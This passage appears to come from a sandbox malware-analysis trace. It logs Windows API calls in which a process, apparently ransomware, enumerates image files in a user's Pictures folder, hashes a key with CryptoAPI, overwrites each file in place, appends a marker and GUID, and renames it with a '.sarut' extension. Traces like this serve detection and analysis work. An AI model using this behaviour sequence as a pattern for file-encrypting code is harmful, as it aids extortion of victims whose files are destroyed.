lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.971] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0271.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.971] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.971] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0271.972] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.972] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.972] CloseHandle (hObject=0x5c4) returned 1 [0271.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0271.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0271.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0271.976] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\NI9HSi svXDo.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\ni9hsi svxdo.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\NI9HSi svXDo.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\ni9hsi svxdo.jpg.sarut")) returned 1 [0271.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.977] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.978] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0271.978] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf394bb40, ftCreationTime.dwHighDateTime=0x1d4d42b, ftLastAccessTime.dwLowDateTime=0xd5945130, ftLastAccessTime.dwHighDateTime=0x1d4cfbe, ftLastWriteTime.dwLowDateTime=0xd5945130, ftLastWriteTime.dwHighDateTime=0x1d4cfbe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="q5KdcF5euAdAWzc8", cAlternateFileName="Q5KDCF~1")) returned 1 [0271.978] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0271.978] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054748 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16c) returned 0x2faf350 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x3016548 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x3023cf8 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x6f9050 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115858 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5418 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fec650 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fe7290 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fd3d00 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb6390 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31157b0 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f1e70 | out: hHeap=0x640000) returned 1 [0271.979] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054800 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054748 | out: hHeap=0x640000) returned 1 [0271.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0271.979] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e852170, ftCreationTime.dwHighDateTime=0x1d4c78f, ftLastAccessTime.dwLowDateTime=0xcf57cd90, ftLastAccessTime.dwHighDateTime=0x1d4d0ab, ftLastWriteTime.dwLowDateTime=0xcf57cd90, ftLastWriteTime.dwHighDateTime=0x1d4d0ab, nFileSizeHigh=0x0, nFileSizeLow=0x9258, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wa jATnjlZIHpQ.bmp", cAlternateFileName="WAJATN~1.BMP")) returned 1 [0271.980] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.980] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0271.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0271.980] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\Wa jATnjlZIHpQ.bmp") returned=".bmp" [0271.980] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\Wa jATnjlZIHpQ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\wa jatnjlzihpq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.980] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=37464) returned 1 [0271.980] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.983] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.983] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.985] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.985] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.985] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.985] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x9258, lpOverlapped=0x0) returned 1 [0271.986] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.987] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.987] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.987] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.987] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.988] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.988] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.988] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.988] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.988] GetLastError () returned 0x0 [0271.988] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.988] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.988] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.988] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x9260) returned 0x311d708 [0271.988] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.988] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.988] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x9253, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x9253, lpOverlapped=0x0) returned 1 [0271.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.989] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.989] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0271.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.989] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0271.989] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.989] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.989] CloseHandle (hObject=0x5c4) returned 1 [0271.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0271.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0271.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0271.993] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\Wa jATnjlZIHpQ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\wa jatnjlzihpq.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\Wa jATnjlZIHpQ.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\wa jatnjlzihpq.bmp.sarut")) returned 1 [0271.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.994] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0271.995] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e852170, ftCreationTime.dwHighDateTime=0x1d4c78f, ftLastAccessTime.dwLowDateTime=0xcf57cd90, ftLastAccessTime.dwHighDateTime=0x1d4d0ab, ftLastWriteTime.dwLowDateTime=0xcf57cd90, ftLastWriteTime.dwHighDateTime=0x1d4d0ab, nFileSizeHigh=0x0, nFileSizeLow=0x9258, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wa jATnjlZIHpQ.bmp", cAlternateFileName="WAJATN~1.BMP")) returned 0 [0271.995] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.995] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.996] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0271.996] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.996] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.997] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5390 | out: hHeap=0x640000) returned 1 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0272.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, 